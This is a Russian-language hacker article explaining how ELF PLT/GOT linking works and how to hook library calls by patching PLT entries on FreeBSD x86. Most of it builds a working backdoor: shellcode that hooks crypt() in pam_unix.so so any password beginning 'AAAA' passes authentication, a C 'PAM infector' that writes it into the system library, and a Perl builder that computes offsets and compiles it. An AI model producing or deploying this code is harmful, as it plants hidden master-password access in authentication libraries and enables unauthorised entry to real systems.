--= Static Lib calls hook up =--

  content:

  -) intro
  -) their techniques
  -) our idea
  -) examples of usage
  -) source code
  -) outro


--=[ intro  ]================================================================--

     Как  то  раз  появилась  затея  у  нас  перехватывать  вызовы  функций  из
  библиотек,   особенно  libc.  Большинство  способов,  описанных  в  различных
  источниках были либо не достаточно гибки, либо работали только для запущенных
  процессов.  Нам  же  нужно было инфецировать файл так, чтобы каждый раз потом
  вызов  к  libc-шной функции был перехвачен. И способ был найден. Предложенный
  ниже  вариант работает под архитектурой x86, тестировалось всё в FreeBSD (4-я
  и 5-я ветки).



--=[ their techniques  ]=====================================================--

     Рассмотрим  способы, используемый на данный момент. Первый - подключение к
  запущенному  процессу,  поиск  функции из libc, которая на момент запуска уже
  подгруженна   в   адресное   пространство   процесса   и  собственно  простое
  инфецирование  кода.  Так  к  примеру  работает  PsyJack от Electronic Souls.
  Способ конечно не плохой, но уж очень пионерский. Недостатки - зависимость от
  версии проги и libc.

     Второй  метод  -  во  время  запуска проги подгружается внешняя *.so либа,
  функции  из  которой  перекрывают  аналогичные  из  libc.  Недостатки  -  для
  подгрузки  либы  вызываются  функции,  адреса которых придётся предварительно
  вытягивать  из  линковщика,  тоесть  снова  имеем  зависимость  от версий. По
  данному методу была написана неплохая статья в phrack 56 (0x07).


     Третий  -  собственно  инфицировать  сам код libc. Уже работает при каждом
  запуске проги, но так же зависит от версий.

     Как можно видеть, используемые техники плохо портируемы, жёстко зависят от
  посторонних  факторов.  Поэтому  у  нас  возникла потребность в новом методе,
  максимально портируемом, компактном и гибком.


--=[ our idea ]==============================================================--

     Итак,  для начала стоит рассказать немного теории. Как происходит линковка
  функций  из  библиотек?  В ELF исполнимом файле существуют две такие таблицы,
  как  GOT  (Global  Offset  Table)  и  PLT (Procedure Linkage Table). Не будем
  ебаться с абстрактными понятиями, так что глянем дамп:

00000750 <.plt>:
 750:   ff b3 04 00 00 00       pushl  0x4(%ebx)
 756:   ff a3 08 00 00 00       jmp    *0x8(%ebx)
 75c:   00 00                   add    %al,(%eax)
 75e:   00 00                   add    %al,(%eax)

 # 1
 760:   ff a3 0c 00 00 00       jmp    *0xc(%ebx)
 766:   68 00 00 00 00          push   $0x0
 76b:   e9 e0 ff ff ff          jmp    0x750

 # 2
 770:   ff a3 10 00 00 00       jmp    *0x10(%ebx)
 776:   68 08 00 00 00          push   $0x8
 77b:   e9 d0 ff ff ff          jmp    0x750

 # 3
 780:   ff a3 14 00 00 00       jmp    *0x14(%ebx)
 786:   68 10 00 00 00          push   $0x10
 78b:   e9 c0 ff ff ff          jmp    0x750

 # 4
 790:   ff a3 18 00 00 00       jmp    *0x18(%ebx)
 796:   68 18 00 00 00          push   $0x18
 79b:   e9 b0 ff ff ff          jmp    0x750

 # 5
 7a0:   ff a3 1c 00 00 00       jmp    *0x1c(%ebx)
 7a6:   68 20 00 00 00          push   $0x20
 7ab:   e9 a0 ff ff ff          jmp    0x750

 # 6
 7b0:   ff a3 20 00 00 00       jmp    *0x20(%ebx)
 7b6:   68 28 00 00 00          push   $0x28
 7bb:   e9 90 ff ff ff          jmp    0x750

 # 7
 7c0:   ff a3 24 00 00 00       jmp    *0x24(%ebx)
 7c6:   68 30 00 00 00          push   $0x30
 7cb:   e9 80 ff ff ff          jmp    0x750

 # 8
 7d0:   ff a3 28 00 00 00       jmp    *0x28(%ebx)
 7d6:   68 38 00 00 00          push   $0x38
 7db:   e9 70 ff ff ff          jmp    0x750

 # and so on...
 7e0:   ff a3 2c 00 00 00       jmp    *0x2c(%ebx)
 7e6:   68 40 00 00 00          push   $0x40
 7eb:   e9 60 ff ff ff          jmp    0x750
 7f0:   ff a3 30 00 00 00       jmp    *0x30(%ebx)
 7f6:   68 48 00 00 00          push   $0x48
 7fb:   e9 50 ff ff ff          jmp    0x750
 800:   ff a3 34 00 00 00       jmp    *0x34(%ebx)
 806:   68 50 00 00 00          push   $0x50
 80b:   e9 40 ff ff ff          jmp    0x750
 810:   ff a3 38 00 00 00       jmp    *0x38(%ebx)
 816:   68 58 00 00 00          push   $0x58
 81b:   e9 30 ff ff ff          jmp    0x750
 820:   ff a3 3c 00 00 00       jmp    *0x3c(%ebx)
 826:   68 60 00 00 00          push   $0x60
 82b:   e9 20 ff ff ff          jmp    0x750
 830:   ff a3 40 00 00 00       jmp    *0x40(%ebx)
 836:   68 68 00 00 00          push   $0x68
 83b:   e9 10 ff ff ff          jmp    0x750
 840:   ff a3 44 00 00 00       jmp    *0x44(%ebx)
 846:   68 70 00 00 00          push   $0x70
 84b:   e9 00 ff ff ff          jmp    0x750
 850:   ff a3 48 00 00 00       jmp    *0x48(%ebx)
 856:   68 78 00 00 00          push   $0x78
 85b:   e9 f0 fe ff ff          jmp    0x750
 860:   ff a3 4c 00 00 00       jmp    *0x4c(%ebx)
 866:   68 80 00 00 00          push   $0x80
 86b:   e9 e0 fe ff ff          jmp    0x750
 870:   ff a3 50 00 00 00       jmp    *0x50(%ebx)
 876:   68 88 00 00 00          push   $0x88
 87b:   e9 d0 fe ff ff          jmp    0x750

...
00001e4c <.got>:
    1e4c:   84 1d 00 00 00 00       test   %bl,0x0
    1e52:   00 00                   add    %al,(%eax)
    1e54:   00 00                   add    %al,(%eax)
    1e56:   00 00                   add    %al,(%eax)
    1e58:   66 07                   popw   %es
    1e5a:   00 00                   add    %al,(%eax)
    1e5c:   76 07                   jbe    0x1e65
    1e5e:   00 00                   add    %al,(%eax)
    1e60:   86 07                   xchg   %al,(%edi)
    1e62:   00 00                   add    %al,(%eax)
    1e64:   96                      xchg   %eax,%esi
    1e65:   07                      pop    %es
    1e66:   00 00                   add    %al,(%eax)
    1e68:   a6                      cmpsb  %es:(%edi),%ds:(%esi)
    1e69:   07                      pop    %es
    1e6a:   00 00                   add    %al,(%eax)
    1e6c:   b6 07                   mov    $0x7,%dh
    1e6e:   00 00                   add    %al,(%eax)
    1e70:   c6 07 00                movb   $0x0,(%edi)
    1e73:   00 d6                   add    %dl,%dh
    1e75:   07                      pop    %es
    1e76:   00 00                   add    %al,(%eax)
    1e78:   e6 07                   out    %al,$0x7
    1e7a:   00 00                   add    %al,(%eax)
    1e7c:   f6 07 00                testb  $0x0,(%edi)
    1e7f:   00 06                   add    %al,(%esi)
    1e81:   08 00                   or     %al,(%eax)
    1e83:   00 16                   add    %dl,(%esi)
    1e85:   08 00                   or     %al,(%eax)
    1e87:   00 26                   add    %ah,(%esi)
    1e89:   08 00                   or     %al,(%eax)
    1e8b:   00 36                   add    %dh,(%esi)
    1e8d:   08 00                   or     %al,(%eax)
    1e8f:   00 46 08                add    %al,0x8(%esi)
    1e92:   00 00                   add    %al,(%eax)
    1e94:   56                      push   %esi
    1e95:   08 00                   or     %al,(%eax)
    1e97:   00 66 08                add    %ah,0x8(%esi)
    1e9a:   00 00                   add    %al,(%eax)
    1e9c:   76 08                   jbe    0x1ea6
    ...


     Начнём  по  порядку, с PLT. Каждая запись в этой талбице занимает 16 байт.
  Самая  первая  запись  (с  индексом 0) вызывает линковщик (в %ebx лежит адрес
  таблицы GOT, а по оффсету 0x04 - адрес вызываемой функции линковщика):

 # PLT[0]
 750:   ff b3 04 00 00 00       pushl  0x4(%ebx)
 756:   ff a3 08 00 00 00       jmp    *0x8(%ebx)
 75c:   00 00                   add    %al,(%eax)
 75e:   00 00                   add    %al,(%eax)

  Остальные записи такие:

 # PLT[1]  - func_1
 760:   ff a3 0c 00 00 00       jmp    *0xc(%ebx)  # jmp по адресу GOT[0xc]
 766:   68 00 00 00 00          push   $0x0        # индекс функции / 8 = 0
 76b:   e9 e0 ff ff ff          jmp    0x750       # jmp в PLT[0]

 # PLT[2]  - func_2
 770:   ff a3 10 00 00 00       jmp    *0x10(%ebx) # jmp по адресу GOT[0x10]
 776:   68 08 00 00 00          push   $0x8        # индекс функции / 8 = 1
 77b:   e9 d0 ff ff ff          jmp    0x750       # jmp в PLT[0]

 ...


   Теперь GOT, размер каждого элемента - 4 байта:

   GOT[0]:   0x00000000  # первые две записи GOT используются для
   GOT[1]:   0x00000000  # хранения адресов линковщика
   GOT[2]:   <addr_of_linker_func>
   GOT[3]:   <addr_of_func_1>
   GOT[4]:   <addr_of_func_2>
   ...

     Поначалу,  до линковки адреса всех библиотечных функций в GOT указывают на
  свои  PLT-записи.  Так, например, GOT[func_1] == 0x766 (первая jmp-инструкция
  скипается).


   А теперь как это всё работает:

   1. в коде (сегмент .text) вызывается функция func_1 - происходит call PLT[1]
   2. далее происходит прыжок по адресу GOT[0xc]
   3. поскольку это первый вызов библиотечной функции, то GOT[0xc] == PLT[1]+6
   4. в стек кладётся индекс*8 данной функции
   5. прыжок в PLT[0]
   6. идёт прыжок по адресу GOT[2], где лежит адрес функции линковщика
   7. собственно линковщик подгружает в адресное пространство процесса
      функцию из libc, ставит адрес этого кода в GOT и собственно
      вызывает его.

   ...

   8. в коде (сегмент .text) вызывается функция func_1 - происходит call PLT[1]
   9. далее происходит прыжок по адресу GOT[0xc], теперь там лежит адрес
      подгруженной функции, поэтому собственно управление передаётся ей.


     Собственно  наша  идея:  вставить в PLT запись функции свой код. Что же он
  должен  делать?  У  нас  есть 16 байт чтобы выполнить злобный код и вернуться
  (ret),  или  же продолжить выполнение (прыгнуть в PLT[0]). В данный момент мы
  не ставим цели внедрять большой код, так что вполне хватит 16-и байт.


     Плюсы  данной  техники:  можно  перехватывать вызовы функций как в простых
  исполнимых  файлах,  так  и  в  разделяемых  библиотеках  (*.so),  и он будет
  работать  при  каждом  запуске  проги (или при обращении к либе), более-менее
  независимый  код.  Минусы - т.к. перехват статический, то естественно палится
  изменение файла.


--=[ examples of usage  ]====================================================--

     Теперь  посмотрим  как  это  работает  на  практике.  Для примера мы будем
  инфектить   pam_unix.so   в   FreeBSD.   Вот   кусок   кода,   отвечающий  за
  авторизацию:

/*
 * authentication management
 */

PAM_EXTERN int
pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc,
    const char **argv)
{
    int retval;
    const char *user;
    const char *password, *realpw;
    struct passwd *pwd;
    struct options options;

    pam_std_option(&options, other_options, argc, argv);
    if (pam_test_option(&options, PAM_OPT_AUTH_AS_SELF, NULL)) {
        pwd = getpwnam(getlogin());
    } else {
        retval = pam_get_user(pamh, &user, NULL);
        if (retval != PAM_SUCCESS)
            return retval;
        pwd = getpwnam(user);
    }
    if (pwd != NULL) {
        realpw = pwd->pw_passwd;
        if (realpw[0] == '\0') {
            if (!(flags & PAM_DISALLOW_NULL_AUTHTOK) &&
                pam_test_option(&options, PAM_OPT_NULLOK, NULL))
                return PAM_SUCCESS;
            realpw = "*";
        }
    } else {
        realpw = "*";
    }
    if ((retval = pam_get_pass(pamh, &password, PASSWORD_PROMPT,
        &options)) != PAM_SUCCESS)
        return retval;
    if (strcmp(crypt(password, realpw), realpw) == 0)
        return PAM_SUCCESS;
    return PAM_AUTH_ERR;
}


   Вот собственно что нас интересует, если кто не понял:
    if (strcmp(crypt(password, realpw), realpw) == 0)

   Перехватывать будем crypt() в самой pam_unix.so. Пару слов о клип-коде:

   - если password тот который нам нужен, то возвращаем realpw. Тогда
     strсmp отработает как надо и авторизация пройдёт нормально.

   - если password другой, то необходимо вызвать оригинальный crypt().

   Ну и конечно всё нужно уместить в 16 байт + сколько получится выделить
   с сохранением работаспособности проги.

   Смотрим GOT:

  # objdump -R pam_unix.so

  pam_unix.so:     file format elf32-i386

  DYNAMIC RELOCATION RECORDS
  OFFSET   TYPE              VALUE
  00001d60 R_386_RELATIVE    *ABS*
  00001d68 R_386_RELATIVE    *ABS*
  00001d70 R_386_RELATIVE    *ABS*
  00001ea0 R_386_GLOB_DAT    __deregister_frame_info
  00001ea4 R_386_GLOB_DAT    __register_frame_info
  00001e58 R_386_JUMP_SLOT   login_getpwclass
  00001e5c R_386_JUMP_SLOT   getlogin
  00001e60 R_386_JUMP_SLOT   pam_get_item
  00001e64 R_386_JUMP_SLOT   snprintf
  00001e68 R_386_JUMP_SLOT   pam_get_pass
  00001e6c R_386_JUMP_SLOT   ctime
  00001e70 R_386_JUMP_SLOT   __deregister_frame_info
  00001e74 R_386_JUMP_SLOT   pam_std_option
  00001e78 R_386_JUMP_SLOT   crypt
  00001e7c R_386_JUMP_SLOT   login_getcaptime
  00001e80 R_386_JUMP_SLOT   gettimeofday
  00001e84 R_386_JUMP_SLOT   strcmp
  00001e88 R_386_JUMP_SLOT   getpwnam
  00001e8c R_386_JUMP_SLOT   login_close
  00001e90 R_386_JUMP_SLOT   pam_test_option
  00001e94 R_386_JUMP_SLOT   pam_get_user
  00001e98 R_386_JUMP_SLOT   __register_frame_info
  00001e9c R_386_JUMP_SLOT   pam_prompt


     PLT-запись crypt() будем инфектить, при нехватке места можно затереть одну
  из записей типа __register_frame_info или __deregister_frame_info.

  Примерно как будет выглядеть clipcode:

   0:   5a                      pop    %edx   # берём eip
   1:   59                      pop    %ecx   # берём arg 1 (password)
   2:   58                      pop    %eax   # берём arg 2 (realpw)
   3:   50                      push   %eax   # восстанавливаем стек
   4:   51                      push   %ecx   # так, чтобы можно было
   5:   52                      push   %edx   # вызвать crypt()

                                              # сравниваем passwd с "AAAA"
   6:   8b 39                   mov    (%ecx),%edi
   8:   81 ff 41 41 41 41       cmp    $0x41414141,%edi

                                       # если не совпадает, то прыгаем вызываем
                                       # crypt() - см далее
   e:   75 01                   jne    11 <_start+0x11>
  10:   c3                      ret
  ...
  # далее вызов оригинального crypt()

     Трабла  состоит  в  том,  что нам не хватет места для вызова оригинального
  crypt() + 1 байт. Для  этого  мы перезапишем  вторую PLT-область какой-нибудь
  неиспользуемой  функции. Вот ещё один способ выделить freespace. Взглянем ещё
  раз на PLT дамп:

 # 1
 760:   ff a3 0c 00 00 00       jmp    *0xc(%ebx)
 766:   68 00 00 00 00          push   $0x0
 76b:   e9 e0 ff ff ff          jmp    0x750   # меняем на jmp 0x0b и прыгаем
                                               # сюда  i
 # 2                                                   i
 770:   ff a3 10 00 00 00       jmp    *0x10(%ebx)     i
 776:   68 08 00 00 00          push   $0x8            i
 77b:   e9 d0 ff ff ff          jmp    0x750  <<-------+

 # 3
 780:   ff a3 14 00 00 00       jmp    *0x14(%ebx)
 786:   68 10 00 00 00          push   $0x10
 78b:   e9 c0 ff ff ff          jmp    0x750
...

     Получаем  +3  байта,  также  нижеследующие  инструкции,  с помощью которых
  вызывается  crypt(), перезаписываем во вторую инфецируемую PLT-запись. В ходе
  выяснилась  очень  интересная  деталь - если в PLT после crypt() перезаписать
  следующую  запись,  то  всё будет работать вполне нормально, хотя по идее, не
  должно )) Но собственно передём к коду.


--=[ source code  ]==========================================================--

/* FreeBSD (x86) PAM infector  - flyer.c*/

#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

#define  OFFSET     PLT_OFFS + 0x10*(CRYPT_NUM+1)
#define  LIBA       "/usr/lib/pam_unix.so"
#define  SIZE       17

char clip[] =
  "\x5a"
  "\x59"
  "\x58"
  "\x50"  // put arg2 back on stack
  "\x51"  // arg1
  "\x52"  // eip
  "\x8b\x39"
  "\x81\xff\x41\x41\x41\x41"  // pass "AAAA"
  "\x75\x01"              // jmp-over-ret
  "\xc3";

int main()
{
  int fd;
  unsigned int i;
  char bak[13] = "_DEFACED_9_\xeb\x0b";

  fd = open(LIBA, O_RDWR);
  lseek(fd, OFFSET, 0);     // переходим к PLT записи crypt()
  read(fd, &bak, 11);       // и сохраняем код для вызова оригинала crypt()

  lseek(fd, OFFSET, 0);
  write(fd, &clip, SIZE);   // теперь вписываем наш клипкод,
  write(fd, &bak, 13);      // и вписываем код для вызова crypt()

  close(fd);
  return 0;
}

   А вот и билдер, который вытягивает нужные параметры для компиляции:

#!/usr/bin/perl

print "FreeBSD (x86) PAM infector builder\n";

# get PLT_OFFS
$plt_rec = `objdump -h /usr/lib/pam_unix.so | grep -a " .plt"`;
chomp $plt_rec;
$plt_rec =~ tr/ //;

($a, $b, $c) = split(/0000/, $plt_rec);
$plt = "0x$c";
print "use PLT_OFFS $plt\n";

# get CRYPT_NUM
@got_tbl = `objdump -R /usr/lib/pam_unix.so | grep JUMP | sort`;
chomp @got_tbl;

for ($i=0; $i < $#got_tbl; $i++)
{
  if ($got_tbl[$i] =~ m/ crypt/)
  {
    if (!$crypt_num){ $crypt_num = $i; }
  }
}
print "use CRYPT_NUM $crypt_num\n";

# build?

if ($ARGV[0] eq "build")
{
  system("gcc -o flyer -D_SET -DPLT_OFFS=$plt".
    " -DCRYPT_NUM=$crypt_num flyer.c");

  print "done\n";
} else {
  print "try '$0 build' to compile\n";
}

exit;


--=[ outro  ]================================================================--

     Вот  так,  теперь  это уже не 0dd-defaced-technique. Как говорится, have a
  lot of phun.. Да, кстати в теории этот код должен работать и в NetBSD.